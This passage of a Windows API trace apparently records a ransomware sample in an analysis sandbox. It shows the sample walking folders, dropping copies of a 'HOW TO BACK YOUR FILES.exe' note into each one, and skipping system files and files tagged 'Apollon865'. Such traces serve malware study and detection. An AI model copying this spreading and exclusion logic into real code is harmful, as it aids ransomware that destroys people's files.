	[0038.656] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0038.656] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds") returned 46
	[0038.656] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds"
	[0038.656] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.656] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.661] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.661] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2808b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2808b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca450
	[0038.662] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.662] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.662] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0038.662] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2808b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2808b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0038.662] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.662] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0038.662] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0038.662] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0038.662] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff107f92, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FeedsStore.feedsdb-ms", cAlternateFileName="FEEDSS~1.FEE")) returned 1
	[0038.662] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.662] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="Apollon865.txt.exe") returned 1
	[0038.662] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2=".") returned 1
	[0038.662] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="..") returned 1
	[0038.662] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="windows") returned -1
	[0038.662] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="bootmgr") returned 1
	[0038.662] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="temp") returned -1
	[0038.662] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="pagefile.sys") returned -1
	[0038.662] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="boot") returned 1
	[0038.662] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="ids.txt") returned -1
	[0038.662] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="ntuser.dat") returned -1
	[0038.662] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="perflogs") returned -1
	[0038.662] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="MSBuild") returned -1
	[0038.662] lstrlenW (lpString="FeedsStore.feedsdb-ms") returned 21
	[0038.662] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\*") returned 48
	[0038.662] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="FeedsStore.feedsdb-ms" | out: lpString1="FeedsStore.feedsdb-ms") returned="FeedsStore.feedsdb-ms"
	[0038.662] lstrlenW (lpString="FeedsStore.feedsdb-ms") returned 21
	[0038.662] lstrlenW (lpString="Apollon865") returned 10
	[0038.662] lstrcmpiW (lpString1="feedsdb-ms", lpString2="Apollon865") returned 1
	[0038.662] lstrlenW (lpString=".dll") returned 4
	[0038.662] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2=".dll") returned 1
	[0038.662] lstrlenW (lpString=".lnk") returned 4
	[0038.662] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2=".lnk") returned 1
	[0038.662] lstrlenW (lpString=".ini") returned 4
	[0038.662] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2=".ini") returned 1
	[0038.662] lstrlenW (lpString=".sys") returned 4
	[0038.663] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2=".sys") returned 1
	[0038.663] lstrlenW (lpString="FeedsStore.feedsdb-ms") returned 21
	[0038.663] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Microsoft Feeds~" | out: lpString1="Microsoft Feeds~") returned="Microsoft Feeds~"
	[0038.663] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0038.663] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf568
	[0038.663] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0038.663] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 1
	[0038.663] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.663] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="Apollon865.txt.exe") returned -1
	[0038.663] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2=".") returned 1
	[0038.663] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="..") returned 1
	[0038.663] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="windows") returned -1
	[0038.663] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="bootmgr") returned -1
	[0038.663] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="temp") returned -1
	[0038.663] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="pagefile.sys") returned -1
	[0038.663] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="boot") returned -1
	[0038.663] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="ids.txt") returned -1
	[0038.663] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="ntuser.dat") returned -1
	[0038.663] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="perflogs") returned -1
	[0038.663] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="MSBuild") returned -1
	[0038.663] lstrlenW (lpString="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 39
	[0038.663] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 63
	[0038.663] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~" | out: lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~"
	[0038.663] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0038.663] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xae) returned 0x599450
	[0038.663] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0038.663] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 0
	[0038.663] FindClose (in: hFindFile=0x5ca450 | out: hFindFile=0x5ca450) returned 1
	[0038.663] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c30
	[0038.663] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~"
	[0038.663] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0038.663] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0038.664] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 86
	[0038.664] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~"
	[0038.664] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.664] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.668] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.668] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2808b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2808b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca450
	[0038.668] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.668] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.668] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0038.668] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2808b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2808b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0038.668] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.668] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0038.668] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0038.668] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0038.668] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f2808b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f2808b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0038.668] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0038.668] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WebSlices~", cAlternateFileName="WEBSLI~1")) returned 1
	[0038.668] lstrcmpiW (lpString1="WebSlices~", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0038.668] lstrcmpiW (lpString1="WebSlices~", lpString2="Apollon865.txt.exe") returned 1
	[0038.669] lstrcmpiW (lpString1="WebSlices~", lpString2=".") returned 1
	[0038.669] lstrcmpiW (lpString1="WebSlices~", lpString2="..") returned 1
	[0038.669] lstrcmpiW (lpString1="WebSlices~", lpString2="windows") returned -1
	[0038.669] lstrcmpiW (lpString1="WebSlices~", lpString2="bootmgr") returned 1
	[0038.669] lstrcmpiW (lpString1="WebSlices~", lpString2="temp") returned 1
	[0038.669] lstrcmpiW (lpString1="WebSlices~", lpString2="pagefile.sys") returned 1
	[0038.669] lstrcmpiW (lpString1="WebSlices~", lpString2="boot") returned 1
	[0038.669] lstrcmpiW (lpString1="WebSlices~", lpString2="ids.txt") returned 1
	[0038.669] lstrcmpiW (lpString1="WebSlices~", lpString2="ntuser.dat") returned 1
	[0038.669] lstrcmpiW (lpString1="WebSlices~", lpString2="perflogs") returned 1
	[0038.669] lstrcmpiW (lpString1="WebSlices~", lpString2="MSBuild") returned 1
	[0038.669] lstrlenW (lpString="WebSlices~") returned 10
	[0038.669] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*") returned 88
	[0038.669] lstrcpyW (in: lpString1=0x2d3e5fe, lpString2="WebSlices~" | out: lpString1="WebSlices~") returned="WebSlices~"
	[0038.669] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0038.669] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc4) returned 0x599450
	[0038.669] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0038.669] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WebSlices~", cAlternateFileName="WEBSLI~1")) returned 0
	[0038.669] FindClose (in: hFindFile=0x5ca450 | out: hFindFile=0x5ca450) returned 1
	[0038.669] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c30
	[0038.669] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~"
	[0038.669] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0038.669] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0038.669] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 97
	[0038.669] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~"
	[0038.669] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.669] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.675] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.675] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2808b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2808b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca450
	[0038.675] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.675] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.675] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0038.675] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2808b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2808b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0038.675] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.675] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0038.675] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0038.675] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0038.675] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f2808b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f2808b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0038.675] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0038.675] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery~.feed-ms", cAlternateFileName="WEBSLI~1.FEE")) returned 1
	[0038.675] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0038.676] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2="Apollon865.txt.exe") returned 1
	[0038.676] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2=".") returned 1
	[0038.676] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2="..") returned 1
	[0038.676] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2="windows") returned -1
	[0038.676] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2="bootmgr") returned 1
	[0038.676] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2="temp") returned 1
	[0038.676] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2="pagefile.sys") returned 1
	[0038.676] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2="boot") returned 1
	[0038.676] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2="ids.txt") returned 1
	[0038.676] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2="ntuser.dat") returned 1
	[0038.676] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2="perflogs") returned 1
	[0038.676] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2="MSBuild") returned 1
	[0038.676] lstrlenW (lpString="Web Slice Gallery~.feed-ms") returned 26
	[0038.676] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*") returned 99
	[0038.676] lstrcpyW (in: lpString1=0x2d3e614, lpString2="Web Slice Gallery~.feed-ms" | out: lpString1="Web Slice Gallery~.feed-ms") returned="Web Slice Gallery~.feed-ms"
	[0038.676] lstrlenW (lpString="Web Slice Gallery~.feed-ms") returned 26
	[0038.676] lstrlenW (lpString="Apollon865") returned 10
	[0038.676] lstrcmpiW (lpString1="y~.feed-ms", lpString2="Apollon865") returned 1
	[0038.676] lstrlenW (lpString=".dll") returned 4
	[0038.676] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2=".dll") returned 1
	[0038.676] lstrlenW (lpString=".lnk") returned 4
	[0038.676] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2=".lnk") returned 1
	[0038.676] lstrlenW (lpString=".ini") returned 4
	[0038.676] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2=".ini") returned 1
	[0038.676] lstrlenW (lpString=".sys") returned 4
	[0038.676] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2=".sys") returned 1
	[0038.676] lstrlenW (lpString="Web Slice Gallery~.feed-ms") returned 26
	[0038.676] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~"
	[0038.676] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0038.676] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0038.676] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 63
	[0038.676] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~"
